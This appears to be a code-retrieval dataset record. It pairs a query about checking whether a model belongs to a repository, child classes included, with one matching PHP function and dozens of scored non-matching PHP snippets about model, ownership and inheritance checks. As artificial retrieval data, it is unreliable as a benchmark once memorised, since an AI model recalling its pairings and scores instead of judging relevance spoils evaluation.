815030227ac6d6b370e8d851de29615a
Check if a model belongs to this repo. Child classes are also accepted
[ { "docid": "91dd8c5cd04f4c9c4f85a4aea5f276bc", "score": "0.0", "text": "public function assertModel(AbstractModel $model)\n {\n if (! $this->isModel($model)) {\n throw new InvalidArgumentException(\n sprintf(\n 'Model must be instance of %s, but was %s',\n $this->getRootRepo()->getModelClass(),\n get_class($model)\n )\n );\n }\n }", "title": "" } ]
[ { "docid": "ace101bb048ddd462911537ad35dc63e", "score": "0.66806895", "text": "private function isModel($model){\n\t\t$this->load->model(\"entities/$model\");\n\t\tif (!empty($model) && $this->$model instanceof Crud) {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "6fc4eef8e243b940008a6060a6675a19", "score": "0.64567775", "text": "public function hasModel(): bool\n {\n return $this->getModel() instanceof Model;\n }", "title": "" }, { "docid": "03e99eab57507caacf1e4293a5614e78", "score": "0.6424755", "text": "public function check(IRepositoryContainer $model)\n\t{\n\t\tparent::check($model);\n\n\t\t$this->checkIntegrity($model, MetaData::OneToOne, false);\n\t}", "title": "" }, { "docid": "614ec466ea289e065e2ae08dc7b1c6d8", "score": "0.63834614", "text": "public function hasModel($model) \n {\n return (bool) class_exists($model);\n }", "title": "" }, { "docid": "f2c4abe2d9384af519dc726680bda361", "score": "0.63765824", "text": "public function requiresModelDefinition()\r\n {\r\n return __CLASS__ != get_class($this);\r\n }", "title": "" }, { "docid": "ce962d8ada88bbaccf2777f911080967", "score": "0.6347798", "text": "protected function is_attribute_valid_model() {\n\t\treturn $this->parent->get_raw_attribute( $this->attribute ) instanceof $this->related_model;\n\t}", "title": "" }, { "docid": "7cfa01c551485bdba8ea666b4688ef17", "score": "0.6315109", "text": "public function testIsInstanceOfParent(): void\n {\n $am = AbstractModel::getInstance();\n $this->assertTrue($am instanceof UserModel);\n }", "title": "" }, { "docid": "206e7195c32ad06176fa9ee92231e132", "score": "0.62295204", "text": "protected function checkModelInheritance () {\n\t\t\tif (is_subclass_of($this->fullModelName, Model::class) === false) {\n\t\t\t\tModel::throwInheritanceException($this->fullModelName);\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "2abd6150f205c43326b56eb60fb4f03c", "score": "0.6223963", "text": "public final function CheckModel($model){\n\t\tif($this->Inc($model)){\n\t\t\t$stack = explode(DS,$model);\n\t\t\t$end = end($stack);\n\t\t\tif(class_exists($end)) return TRUE;\n\t\t\treturn FALSE;\n\t\t}\n\t}", "title": "" }, { "docid": "0237f328e9cf2c5069e33b3b1e91e328", "score": "0.62203", "text": "protected function parentCheck()\n {\n if($this->parentCheck && method_exists($this->model, $this->createMethodName($this->parentField)))\n return true;\n\n return false;\n }", "title": "" }, { "docid": "b24b22f34186ea8075082e0de39fd5f8", "score": "0.60712373", "text": "protected function hasModel()\n {\n return $this->model instanceof Model && $this->attribute !== null;\n }", "title": "" }, { "docid": "dc28504d1286d27dc928705ae374acc8", "score": "0.6042067", "text": "public function is($model)\n {\n }", "title": "" }, { "docid": "d69ef4151635d95d8190090dcad62d0f", "score": "0.6026858", "text": "public function hasModel()\r\n {\r\n return $this->modelCheck();\r\n }", "title": "" }, { "docid": "7592592235d9464a91a74eaff8cd4c26", "score": "0.6020267", "text": "public function ownsModel(\\Illuminate\\Database\\Eloquent\\Model $model): bool\n {\n return (int) $model->{$model->userColumn ?? 'user_id'} === (int) $this->id;\n }", "title": "" }, { "docid": "0af30842d47e8f8fd2713789a4e41e79", "score": "0.5977589", "text": "public function isFor($model)\n\t{\n\t\t$pos = strpos($this->getModels(), $model);\n\t\tif ($pos === false)\n\t\t{\n\t \t\treturn false;\n\t\t}\n\t\treturn true;\n\t}", "title": "" }, { "docid": "b305b830707537392f3ad4582b2abd97", "score": "0.59306157", "text": "private function isModel($model)\n {\n return is_subclass_of($model, 'Illuminate\\Database\\Eloquent\\Model');\n }", "title": "" }, { "docid": "19420839c817a8a8eb74d8e150aba16b", "score": "0.5923655", "text": "private static function isBaseModel(string $class, Schema $schema): bool\n {\n $chain = InheritanceChain::create($class);\n if ($chain->getBaseClass() === $class) {\n return true;\n }\n\n // Check if any ancestors are queryable.\n $ancestors = $chain->getAncestralModels();\n $hasReadableAncestor = false;\n foreach ($ancestors as $ancestor) {\n $existing = $schema->getModelByClassName($ancestor);\n if ($existing) {\n foreach ($existing->getOperations() as $operation) {\n if ($operation instanceof ModelQuery) {\n $hasReadableAncestor = true;\n break 2;\n }\n }\n }\n }\n\n return !$hasReadableAncestor;\n }", "title": "" }, { "docid": "a77e7a8cab248dc06c6c72779480e7aa", "score": "0.59176815", "text": "public function is($model)\n {\n return ! is_null($model) &&\n $this->getKey() === $model->getKey() &&\n get_class($this) == get_class($model);\n }", "title": "" }, { "docid": "6ec7c4d134dcfc0411d213cb30161303", "score": "0.5910251", "text": "abstract protected function modifyExistence(Model $model): bool;", "title": "" }, { "docid": "4c7a9f8988dd5729266777db0c299914", "score": "0.5890613", "text": "function is_model($modelName)\n {\n $className = 'Birdmin\\\\' . ucwords($modelName);\n if (class_exists($className) && is_subclass_of($className, 'Birdmin\\\\Core\\\\Model')) {\n // Is a model.\n return $className;\n }\n // Not a model.\n return false;\n }", "title": "" }, { "docid": "bb42fd9c476afb445687730090ac8327", "score": "0.58629394", "text": "public function is($model)\n {\n return ! is_null($model) &&\n get_class($this) === get_class($model) &&\n $this->getKey() === $model->getKey();\n }", "title": "" }, { "docid": "26623874edd8ee570977bfa0a9b13f2c", "score": "0.5805885", "text": "public function exists($model): bool;", "title": "" }, { "docid": "bb31a61a686bab280e6756b583659c45", "score": "0.5742713", "text": "public function isFindable(): bool\n {\n return in_array(__TRAIT__, class_uses_recursive(get_called_class()));\n }", "title": "" }, { "docid": "ecec45e9dd231583f380671c6b94252b", "score": "0.5741441", "text": "public function hasParent();", "title": "" }, { "docid": "ecec45e9dd231583f380671c6b94252b", "score": "0.5741441", "text": "public function hasParent();", "title": "" }, { "docid": "cd2cdbaed39e01745d2b872ea331d91e", "score": "0.5728837", "text": "public function isAncestorOf(Model|string $model = null): bool\n {\n return $this->dnIsInside($model, $this->getDn());\n }", "title": "" }, { "docid": "7865f3ac92bf10df86fd31599770515f", "score": "0.57119334", "text": "public function testCheckModelObjectClass()\n {\n $this->assertEmpty(Helpers::checkModelObjectClass(new User, User::class));\n\n $this->assertException(IncorrectModelException::class, function () {\n Helpers::checkModelObjectClass(new User, Post::class);\n });\n\n $this->assertException(NotModelException::class, function () {\n Helpers::checkModelObjectClass(new \\stdClass, User::class);\n });\n $this->assertException(NotModelException::class, function () {\n Helpers::checkModelObjectClass('Hello', User::class);\n });\n }", "title": "" }, { "docid": "355fc51aefc6ea2c081ebbe7c2d58790", "score": "0.5694846", "text": "protected function validateRelatedModelClassName(string $model_class_name): bool {\n // Subclasses can override this method to redefine their own\n // Valid Related Model Class logic.\n $parent_model_class_name = self::class;\n \n if( !is_a($model_class_name, $parent_model_class_name, true) ) {\n \n //throw exception\n $msg = \"ERROR: '{$model_class_name}' is not a subclass or instance of \"\n . \"'{$parent_model_class_name}'. A model class name specified\"\n . \" for fetching related data must be the name of a class that\"\n . \" is a sub-class or instance of '{$parent_model_class_name}'\"\n . PHP_EOL . get_class($this) . '::' . __FUNCTION__ . '(...).' \n . PHP_EOL;\n\n throw new BadModelClassNameForFetchingRelatedDataException($msg);\n }\n \n return true;\n }", "title": "" }, { "docid": "93d181593101549482c28dcce798934e", "score": "0.56521446", "text": "public function hasChildObject()\n {\n return $this->getDescendantClass() !== null;\n }", "title": "" }, { "docid": "0549497a90120b819f7256392f6cc33d", "score": "0.5579965", "text": "private function hasModel($model) {\n return array_key_exists($model, $this->models);\n }", "title": "" }, { "docid": "ba6bf695658f45b1e03f69916e41684f", "score": "0.55740803", "text": "public function isOwner()\n {\n return ($this->owner instanceof Owner);\n }", "title": "" }, { "docid": "2c73bc03554a83d528113d7503bf31d1", "score": "0.5552549", "text": "public function hasValidRepository();", "title": "" }, { "docid": "b9ab427a9c909b2c86335b0d42f124ca", "score": "0.5542927", "text": "public function isChild(): bool\n {\n return static::$created[$this::class] > 0;\n }", "title": "" }, { "docid": "b20f8d6af732b37c8178482d3f29d6d7", "score": "0.553253", "text": "protected function processModelExistence(): bool\n {\n if ($this->modelAssistor->modelExist()) {\n return true;\n }\n\n $response = $this->ask(\"Model [{$this->modelArgument}] does not exist. Would you like to create it?\", 'Yes');\n if (!$this->isResponsePositive($response)) {\n $this->warn(\"Model wasn't created, aborting command.\");\n return false;\n }\n\n $this->callSilent('make:model', ['name' => $this->modelArgument]);\n $this->info(\"Model {$this->modelArgument} created successfully\");\n return true;\n }", "title": "" }, { "docid": "1dee225740cde6fb9df919c1d3b0c7ae", "score": "0.55316406", "text": "public function isObjectMaster(Repository $repository, Model $object)\n\t{\n\t\treturn $this->requestHasOneOfScopes('admin');\n\t}", "title": "" }, { "docid": "49121b2b2007eda410250569acc7bf23", "score": "0.5525288", "text": "public function getHasParentsAttribute()\n {\n return $this->parent()->exists();\n }", "title": "" }, { "docid": "0d9c28c99c305e63c6c9c0513dd3ca57", "score": "0.54993045", "text": "public function hasModels(){\n return $this->_has(1);\n }", "title": "" }, { "docid": "dd54fb5fdca6467b108dc160d973e75a", "score": "0.5498453", "text": "public function is(Model $model = null): bool\n {\n return ! is_null($model)\n && $this->dn == $model->getDn()\n && $this->getConnectionName() == $model->getConnectionName();\n }", "title": "" }, { "docid": "340c3994ddcae9b8ef4962714a9b0099", "score": "0.5487171", "text": "protected function isModel()\n {\n return ! $this->isTable();\n }", "title": "" }, { "docid": "4470486837f0add624584ac0ee58a4c5", "score": "0.5471482", "text": "public function isDescendantOf(Model|string $model = null): bool\n {\n return $this->dnIsInside($this->getDn(), $model);\n }", "title": "" }, { "docid": "593d07d00331a99d503ff25d078e4796", "score": "0.5469709", "text": "public function tree_same_model_as($object, $method = 'unknown')\n\t{\n\t\tif (get_class($object) !== get_class($this))\n\t\t{\n\t\t\tthrow new \\Exception('Model object passed to '.$method.'() is not an instance of '.get_class($this).'.');\n\t\t}\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "108ab392cd97344964406f086f526a9b", "score": "0.5455463", "text": "public function inrelation()\n {\n\n global $em;\n $this->classmetadata = $em->getClassMetadata(\"\\\\\" . get_class($this));\n\n $objecarray = (array)$this;\n $association = array_keys($this->classmetadata->associationMappings);\n if (count($association))\n return true;\n\n return false;\n// foreach ($objecarray as $obkey => $value) {\n// // gere les attributs hérités en visibilité protected\n// if (is_object($value)) {\n// $classname = get_class($value);\n// if ($classname != 'DateTime' && $association[0] != $classname) {\n// return true;\n// }\n// }\n// }\n }", "title": "" }, { "docid": "1ce08b098bf99c2bc7682ded8411fd8e", "score": "0.54388666", "text": "public function hasParent(){\n return $this->_has(1);\n }", "title": "" }, { "docid": "1ce08b098bf99c2bc7682ded8411fd8e", "score": "0.54388666", "text": "public function hasParent(){\n return $this->_has(1);\n }", "title": "" }, { "docid": "1ce08b098bf99c2bc7682ded8411fd8e", "score": "0.54388666", "text": "public function hasParent(){\n return $this->_has(1);\n }", "title": "" }, { "docid": "1ce08b098bf99c2bc7682ded8411fd8e", "score": "0.54388666", "text": "public function hasParent(){\n return $this->_has(1);\n }", "title": "" }, { "docid": "1ce08b098bf99c2bc7682ded8411fd8e", "score": "0.54388666", "text": "public function hasParent(){\n return $this->_has(1);\n }", "title": "" }, { "docid": "1ce08b098bf99c2bc7682ded8411fd8e", "score": "0.54388666", "text": "public function hasParent(){\n return $this->_has(1);\n }", "title": "" }, { "docid": "a0eea76e6dac73b31f2fe91f186bf43c", "score": "0.54273236", "text": "abstract public function validate(Model $model): bool;", "title": "" }, { "docid": "d8b366895746e45c3133f47af6d84701", "score": "0.54236114", "text": "public function is(DBModel $other)\n\t{\n\t\treturn get_class($other) == get_called_class()\n\t\t\t && $this->_inDb && $other->_inDb\n\t\t\t && $this->id == $other->id;\n\t}", "title": "" }, { "docid": "0d918f4ed15fd35058b08ffb4f8d2860", "score": "0.54197955", "text": "public function hasChild(){ }", "title": "" }, { "docid": "e80024032b4a7790560139b082f48a0b", "score": "0.54180527", "text": "public function isChildOf(Model|string $parent = null): bool\n {\n return $this->newDn($this->getDn())->isChildOf(\n $this->newDn((string) $parent)\n );\n }", "title": "" }, { "docid": "7f577f38322e91df4099224a2b0c5f20", "score": "0.5416103", "text": "public function model_exists($class_name)\r\n\t{\r\n\t\tif(! $this->app_include(\"$class_name.\".$this->config->class_file_ext,'models')) return false;\r\n\t\tif($this->config->ucfirst_classnames) $class_name = ucfirst($class_name);\r\n\t\treturn class_exists($class_name);\t\t\t\r\n\t}", "title": "" }, { "docid": "08e72abcd954752db5c7a3abc5ec5290", "score": "0.54110646", "text": "public function has_parent() {\n if ($this->child_of > 0) {\n if ($this->get_parent() instanceof private_party_group) {\n return true;\n } else {\n return false;\n }\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "381853355985300537c80308d47cb0ac", "score": "0.54083264", "text": "static function isRepositoryObject()\n\t{\n\t\treturn false;\n\t}", "title": "" }, { "docid": "06b5792d23c410743f396f79c0035999", "score": "0.5402183", "text": "public function isUsingImplicitObjectIds($model){ }", "title": "" }, { "docid": "0d737e180a5f2a6cfdf819ef0672f1b9", "score": "0.5392928", "text": "public function hasParent(){\n return $this->_has(2);\n }", "title": "" }, { "docid": "d5aec6ad2b78e04dc94e667f33bafab3", "score": "0.5375185", "text": "public function isOwner();", "title": "" }, { "docid": "6ca0c25055d52dbfe651b435e4c323ce", "score": "0.5363839", "text": "function hasModel( $a_name )\r\n\t{\r\n\t\treturn isset($this->m_models[$a_name]);\r\n\t}", "title": "" }, { "docid": "a994aeced0660d3a909e2ce3bd17fece", "score": "0.53526235", "text": "public function getHasObjectAttribute() \n {\n return array_key_exists('class', $this->attributes) && !empty($this->attributes['class']);\n }", "title": "" }, { "docid": "37a2f37f252c593c57be0fd9eaf9b9fd", "score": "0.5352182", "text": "public function hasOwner() {\n return isset($this->_owner);\n }", "title": "" }, { "docid": "b6110c93b400ef1a7bcbbeb50853c45d", "score": "0.5349954", "text": "protected function isModel($value): bool\n {\n return is_object($value) && is_subclass_of($value, Model::class);\n }", "title": "" }, { "docid": "103f0bf90fe3033b1391516e0c9a9486", "score": "0.534614", "text": "public function hasParent()\n {\n return !!$this->parent;\n }", "title": "" }, { "docid": "551d059c6adf5b264600a2b6fb4ed7d6", "score": "0.53419304", "text": "public function hasChilds() {\r\n $c = $this->db->fetchOne(\"SELECT id FROM users WHERE parentId = ?\", $this->model->getId());\r\n return (bool) $c;\r\n }", "title": "" }, { "docid": "042187cbef85b9fb23013734f09e8a93", "score": "0.53325367", "text": "public function isManagedModel(string $modelClassOrModelTab): bool\n {\n if (is_subclass_of($modelClassOrModelTab, DataObject::class)) {\n return $this->getModelTabForModelClass($modelClassOrModelTab) !== null;\n }\n return array_key_exists($modelClassOrModelTab, $this->getManagedModels());\n }", "title": "" }, { "docid": "57cd0a47ce3161b011177d41f7d89fec", "score": "0.53307706", "text": "public function isUsingImplicitObjectIds($model);", "title": "" }, { "docid": "57cd0a47ce3161b011177d41f7d89fec", "score": "0.53307706", "text": "public function isUsingImplicitObjectIds($model);", "title": "" }, { "docid": "b16a59258ce9fe0c3e44ae14a5043137", "score": "0.5313803", "text": "function islandora_object_has_people($object) {\n // the actual parent CModel.\n $cmodel_id = islandora_object_parent_model($object->id);\n\n // NOTE: This function will check all of $object's CModel's supertypes as well.\n $relationships = islandora_cmodel_relationships($cmodel_id);\n\n foreach($relationships as $rel){\n if($rel['object']['value'] == 'islandora:person_cmodel'\n or $rel['subject']['value'] == 'islandora:person_cmodel'){\n return true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "df5001166f89f6789a87418aaf31de2f", "score": "0.52826214", "text": "public function hasOwner()\n {\n return !is_null($this->getOwner());\n }", "title": "" }, { "docid": "729cca2ba298a9c114f1630f6b4d379c", "score": "0.52801853", "text": "public static function is($obj){\n if( $obj instanceof Base || is_subclass_of($obj,Base::class) || $obj === Base::class ){\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "73dff9c81633b62cd59dc8c061f6bee0", "score": "0.5269323", "text": "public function isObjectOwner(Repository $repository, Model $object)\n\t{\n\t\t$user = User::whereUsername('aNewTestUser')->first();\n\t\treturn ($object->user_id === $user->id) || $this->isObjectMaster($repository, $repository->read());\n\t}", "title": "" }, { "docid": "d1ee6af5bbf06a1b3ec85a2dc5c485f7", "score": "0.52656764", "text": "public function follows($model): bool;", "title": "" }, { "docid": "b78bd10ee9bcc471e865bfe330aa974d", "score": "0.5251412", "text": "public function hasModel($value)\n {\n return $this->getModelRaw($value) !== null;\n }", "title": "" }, { "docid": "6fcba3ccb7a6dadf9a768b6d0d215cd0", "score": "0.52399355", "text": "private function childStatus()\r\n {\r\n $models = Category::find()\r\n ->where('lft > ' . $this->lft . ' and rgt < ' . $this->rgt)\r\n ->all();\r\n if (is_array($models)) {\r\n foreach ($models as $model) {\r\n $model->status = $this->status;\r\n $model->save();\r\n }\r\n return true;\r\n }\r\n return false;\r\n }", "title": "" }, { "docid": "48b5baee0434381414e2faa0dbed3deb", "score": "0.5233126", "text": "function choose_model_for_situation() {\n\t\t//loop through all the models\n\t\tforeach ($this->models as $model) {\n\t\t\t//run the model's who_me() function\n\t\t\tif (call_user_func(array($model, \"who_me\"))) {\n\t\t\t\t//this model can process the request\n\t\t\t\treturn $model;\n\t\t\t} else {\n\t\t\t\t//nope, try the next model\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\t//If we're here then we coudn't find a model who could process the request\n\t\treturn false;\n\t}", "title": "" }, { "docid": "f1a71c88fb1e3aa334e50fa6c2fcde1e", "score": "0.523256", "text": "protected function isRootObject()\n {\n return !($this->parent instanceof FormBuilder);\n }", "title": "" }, { "docid": "b36b2cf76018c7436cef88b27262c9cf", "score": "0.5231334", "text": "function _owner($id, $relatedModel = null) {\n\t\tif ($relatedModel) {\n\t\t\t$check = $this->{$this->modelClass}->$relatedModel->field('user_id', array('id' => $id));\n\t\t} elseif ($this->modelClass == 'User') {\n\t\t\t$check = $id;\n\t\t} else {\n\t\t\t$check = $this->{$this->modelClass}->field($this->modelClass.'.user_id', array($this->modelClass.'.id' => $id));\n\t\t}\n\t\tif ($this->Auth->user('id') == $check) {\n\t\t\t$this->set('owner', true);\n\t\t\treturn true;\n\t\t} else {\n\t\t\t$this->set('owner', false);\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "98595baf181b615e7cdda36617b86c49", "score": "0.5230763", "text": "public function hasParent(): bool {\n return $this->getParent() instanceof FacetGroupInterface;\n }", "title": "" }, { "docid": "c7ded2ee28458841e8e0da0c52698de6", "score": "0.52208656", "text": "public function is_core() \n {\n return (!isset($this->model) || $this->model === NULL || $this->model === '');\n }", "title": "" }, { "docid": "8b9270c53a1fc4c4e35752eaca34728f", "score": "0.5213223", "text": "public function checkValidModel() {\n $this->log(\"Checking for valid model class.\");\n $noModel = empty($_GET['model']);\n if (!$noModel)\n $noModel = preg_match('/^\\s*$/', $_GET['model']);\n if ($noModel) {\n $this->log('Parameter \"model\" missing.');\n $this->_sendResponse(400, \"Model class name required.\"); // .'$_GET='.var_export($_GET,1).'; $_POST='.var_export($_POST,1).'; uri='.$_SERVER['REQUEST_URI']);\n }\n if (!class_exists($_GET['model'])) {\n $this->log(\"Class {$_GET['model']} not found.\");\n $this->_sendResponse(501, \"Model class \\\"{$_GET['model']}\\\" not found or does not exist.\");\n }\n $modelRef = new $_GET['model'];\n if (get_parent_class($modelRef) != 'X2Model') {\n $this->log(\"Class {$_GET['model']} is not a child of X2Model.\");\n $this->_sendResponse(403, \"Model class \\\"{$_GET['model']}\\\" is not a child of X2Model and cannot be used in API calls.\");\n }\n // We're all clear to proceed\n $this->modelClass = $_GET['model'];\n }", "title": "" }, { "docid": "baf5f134d19ff13ab6884ace971602e4", "score": "0.5211848", "text": "public function hasSchemaForModelClass($modelClass);", "title": "" }, { "docid": "d272ffc6dfc1d87a3e9b98edeb51a36f", "score": "0.52075684", "text": "private function modelCheckHelper(User $user, $action,Model $model=null){\n //Check at the model level\n $source=Source::where('type','model')->where('name',User::class)->first();\n if($source){\n //$access_string=Source::getTypeKey().':'.$source->id;\n if(!$this->perm->can($user,Source::class,$source->id,$action,$model)){\n return false;\n }\n }\n\n return true;\n }", "title": "" }, { "docid": "0740c2bfbcff88feab9a10272febf7e4", "score": "0.5195317", "text": "public function isParentMorph()\n {\n return in_array($this->type, static::PARENT_MORPHS, true);\n }", "title": "" }, { "docid": "447e2e6ceb936df076a1058621ad0c12", "score": "0.51877326", "text": "public function isChild(): bool\n {\n return true;\n }", "title": "" }, { "docid": "224a801f74a22f23bffa7ed8d678d6ac", "score": "0.51861703", "text": "public function IsChildOfUser() {\r\n foreach ($this->osm->myChildren as $child) {\r\n if ($child === $this) return true;\r\n }\r\n return false;\r\n }", "title": "" }, { "docid": "778cada8413ddced3abf227a6e023b9f", "score": "0.518508", "text": "public function isModel($path)\n {\n // Try to match using old-style method by location\n return strpos($path, __SAMSON_MODEL_PATH) !== false;\n }", "title": "" }, { "docid": "f0ad69828a0d3efa87e7dfd45ad398c6", "score": "0.51828486", "text": "public function hasProject() {\n return ($this->project instanceof \\Project\\Entity\\Project);\n }", "title": "" }, { "docid": "7f1795f1f3800649920b84ae651fed8d", "score": "0.5170222", "text": "protected function _validateModel(){\n // todo: validate the find return to make sure user is allowed to read record\n return true;\n }", "title": "" }, { "docid": "d2e804b9ea6989e27329ee29f7d85f5d", "score": "0.5166437", "text": "public static function isRelational()\n {\n return in_array('Divergence\\\\Models\\\\Relations', class_uses(get_called_class()));\n }", "title": "" }, { "docid": "ca2c22de9f8bbbe72d053328689273b8", "score": "0.5153688", "text": "public function testModelInheritAtstractClass()\n {\n $this->assertInstanceOf(SettingsModelSchema::class, $this->model);\n }", "title": "" }, { "docid": "a85c4729cb2507c8f98e75b505e6fc80", "score": "0.5143381", "text": "protected function getWhetherRevisionableOwner()\n {\n return $this->getOwner() instanceof IRevisionable;\n }", "title": "" }, { "docid": "6f1a36376db73c740549a309e4e072e6", "score": "0.5142866", "text": "public function hasOwner()\n {\n return $this->ownerId !== null;\n }", "title": "" }, { "docid": "8e1093bbe7ee9d94fe76b070dc7d532a", "score": "0.51408315", "text": "public function hasParent()\n {\n return $this->parent != null;\n }", "title": "" }, { "docid": "f215c4bcc82176dab06290fbe346ad22", "score": "0.51362884", "text": "public function hasAttribute(ModelInterface $model, $attribute) {}", "title": "" }, { "docid": "00a0209275f9802c11c702be9460d9aa", "score": "0.5114022", "text": "public function hasUser() {\n return ($this->user instanceof \\Application\\Entity\\User);\n }", "title": "" }, { "docid": "03b02f55230021220ec2b2e426595712", "score": "0.5113867", "text": "public function hasParent()\n\t{\n\t\treturn $this->getParent() != null;\n\t}", "title": "" }, { "docid": "051f9e372c10410dc2491734388fb451", "score": "0.5113027", "text": "public function isMappedBySourceEntity()\n {\n return $this->isField() || $this->sourceClassName == $this->get('sourceEntity');\n }", "title": "" }, { "docid": "7f52582c25a6acbb9678d1d140769562", "score": "0.5101091", "text": "public function hasRelationWith($modelName, $type = null) {\n $relations = $this->table->getRelationFields($modelName);\n\n if ($type !== null) {\n return isset($relations[$type]) && !empty($relations[$type]);\n }\n\n return !(empty($relations[ModelTable::HAS_MANY]) && empty($relations[ModelTable::HAS_ONE]) && empty($relations[ModelTable::BELONGS_TO]));\n }", "title": "" }, { "docid": "414cc07c5a3fec284cc566dcd8c16c1e", "score": "0.50987947", "text": "public function isOwned() {\n\t\treturn($this->declaringClass === $this->parentClass);\n\t}", "title": "" }, { "docid": "464e33528efcc90f6070e488eede97ac", "score": "0.5098443", "text": "private function isFileRelation(Model $model): bool\n {\n return $model instanceof $this->fileClass;\n }", "title": "" }, { "docid": "ebbce8bd1c86d0a1c4301278b78ac8da", "score": "0.5095119", "text": "public function checkRegistryRequestsAnswers()\n {\n return ($this->targetModel instanceof \\MUtil_Model_ModelAbstract) &&\n parent::checkRegistryRequestsAnswers();\n }", "title": "" } ]
0ac7bdb02e5fbb03eb7a9ee5316bf396
Run the database seeds.
[ { "docid": "e8bd633fa7efbcd227beffe8763d0ff6", "score": "0.0", "text": "public function run()\n {\n Tag::create([\n 'tag' => 'মৃত্যু'\n ]);\n Tag::create([\n 'tag' => 'ধর্ষণ'\n ]);\n Tag::create([\n 'tag' => 'চুরি'\n ]);\n Tag::create([\n 'tag' => 'ডাকাতি'\n ]);\n Tag::create([\n 'tag' => 'দুর্ঘটনা'\n ]);\n Tag::create([\n 'tag' => 'বৃষ্টি'\n ]);\n Tag::create([\n 'tag' => 'মৃত্যু'\n ]);\n }", "title": "" } ]
[ { "docid": "520d3a91ddad10619dacf1b7197c5aec", "score": "0.7992128", "text": "public function run()\n {\n DB::table('users')->insert([\n 'id' => 1,\n 'name' => 'Usuário',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n ]);\n\n DB::table('empresas')->insert([\n 'nome' => 'Empreendimentos S.A.',\n 'telefone' => '11900001111',\n 'endereco' => 'Rua Qualquer',\n 'cep' => '00000-000',\n 'cnpj' => '00.000.000/0000-00',\n 'user_id' => 1\n ]);\n\n $faker = Faker::create();\n foreach (range(1,5) as $i){\n DB::table('fornecedores')->insert([\n 'nome' => $faker->name,\n 'email' => $faker->email,\n 'mensalidade' => mt_rand( 0, $faker->numberBetween(100, 1000) ) / 10,\n 'user_id' => 1\n ]);\n }\n }", "title": "" }, { "docid": "9d32f8ff8b6ed1c924761b8262ce875e", "score": "0.79787016", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n \n\t factory(App\\Models\\Person::class , 10)->create(); \n\t factory(App\\Models\\Company::class , 10)->create(); \n\t factory(App\\Models\\Account::class , 10)->create(); \n factory(App\\Models\\Tag::class , 10)->create();\n factory(App\\Models\\Customer::class , 10)->create();\n factory(App\\Models\\Project::class , 10)->create();\n factory(App\\Models\\Domain::class , 3)->create();\n\n foreach (['Watermark', 'Filter', 'Optimize'] as $index) {\n DB::table('processes')->insert([\n 'name' => $index, \n 'class' => $index,\n ]);\n }\n\n DB::table('process_tag')->insert([\n 'process_id' => 1, \n 'tag_id' => 1,\n ]);\n \n DB::table('process_tag')->insert([\n 'process_id' => 1, \n 'tag_id' => 2,\n ]);\n\n DB::table('process_tag')->insert([\n 'process_id' => 2, \n 'tag_id' => 3,\n ]);\n\n }", "title": "" }, { "docid": "e3f2301106fd912254f1c33890600754", "score": "0.7965562", "text": "public function run()\n {\n //Create faker instance\n $faker = \\Faker\\Factory::create();\n //Flush the table before recreate\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n DB::table('chapters')->truncate();\n \\App\\Chapter::truncate();\n DB::statement('SET FOREIGN_KEY_CHECKS = 1');\n foreach (range(1,5) as $number) {\n \\App\\Chapter::create([\n 'chapter' => $faker->word,\n 'subject_id'=> rand(1,3),\n ]);\n }\n }", "title": "" }, { "docid": "9e7127cb6c71143fb79c04b4fee8ad17", "score": "0.7947562", "text": "public function run()\n {\n /**\n * Seed Users Table\n */\n DB::table('users')->insert([\n [\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'password' => Hash::make('admin'),\n 'role_id' => Config::get('constants.roles.administrator'),\n 'created_at' => Carbon::now()\n ],\n [\n 'name' => 'John Doe',\n 'email' => '[email protected]',\n 'password' => Hash::make('johndoe'),\n 'role_id' => Config::get('constants.roles.user'),\n 'created_at' => Carbon::now()\n ],\n ]);\n\n /**\n * Seed Roles Table\n */\n DB::table('roles')->insert([\n [\n 'display_name' => 'Administrator',\n 'description' => 'System Admin',\n 'created_at' => Carbon::now()\n ],\n [\n 'display_name' => 'User',\n 'description' => 'Can access expenses',\n 'created_at' => Carbon::now()\n ],\n ]);\n }", "title": "" }, { "docid": "37ee2d6976618f232b9fc479d5b57a06", "score": "0.79213214", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n \n \n Post::insert([\n [\n 'id' => 1,\n 'title' => 'post 1',\n 'content' => 'post content 1'\n ], \n [\n 'id' => 2,\n 'title' => 'post 2',\n 'content' => 'post content 2'\n ],\n [\n 'id' => 3,\n 'title' => 'post 3',\n 'content' => 'post content 3'\n ],\n [\n 'id' => 4,\n 'title' => 'post 4',\n 'content' => 'post content 4'\n ],\n [\n 'id' => 5,\n 'title' => 'post 5',\n 'content' => 'post content 5'\n ],\n [\n 'id' => 6,\n 'title' => 'post 6',\n 'content' => 'post content 6'\n ],\n [\n 'id' => 7,\n 'title' => 'post 7',\n 'content' => 'post content 7'\n ]\n ]);\n \n }", "title": "" }, { "docid": "341ec9573f9443b609a2c9e8c0a90413", "score": "0.79124165", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n \tfactory(App\\User::class)->create();\n factory(App\\Client::class, 40)->create();\n factory(App\\Driver::class, 20)->create();\n factory(App\\Guide::class, 20)->create();\n factory(App\\Vehicle::class, 30)->create();\n factory(App\\Order::class, 80)->create();\n factory(App\\Invoice::class, 160)->create();\n factory(App\\DriverSchedule::class, 50)->create();\n factory(App\\GuideSchedule::class, 50)->create();\n factory(App\\VehicleSchedule::class, 50)->create();\n\n\n // Seed driver_order table\n\n $orders = App\\Order::all();\n $drivers = App\\Driver::all();\n $guides = App\\Guide::all();\n $vehicles = App\\Vehicle::all();\n\n $this->seedManyToMany($drivers, $orders);\n $this->seedManyToMany($guides, $orders);\n $this->seedManyToMany($vehicles, $orders);\n }", "title": "" }, { "docid": "c455dbfa0c734909206ed15084e64a1d", "score": "0.79038024", "text": "public function run()\n {\n $this->call(UsersTableSeeder::class);\n $this->call(ArticlesTableSeeder::class);\n\n\n DB::table('categories')->delete();\n //insert some dummy 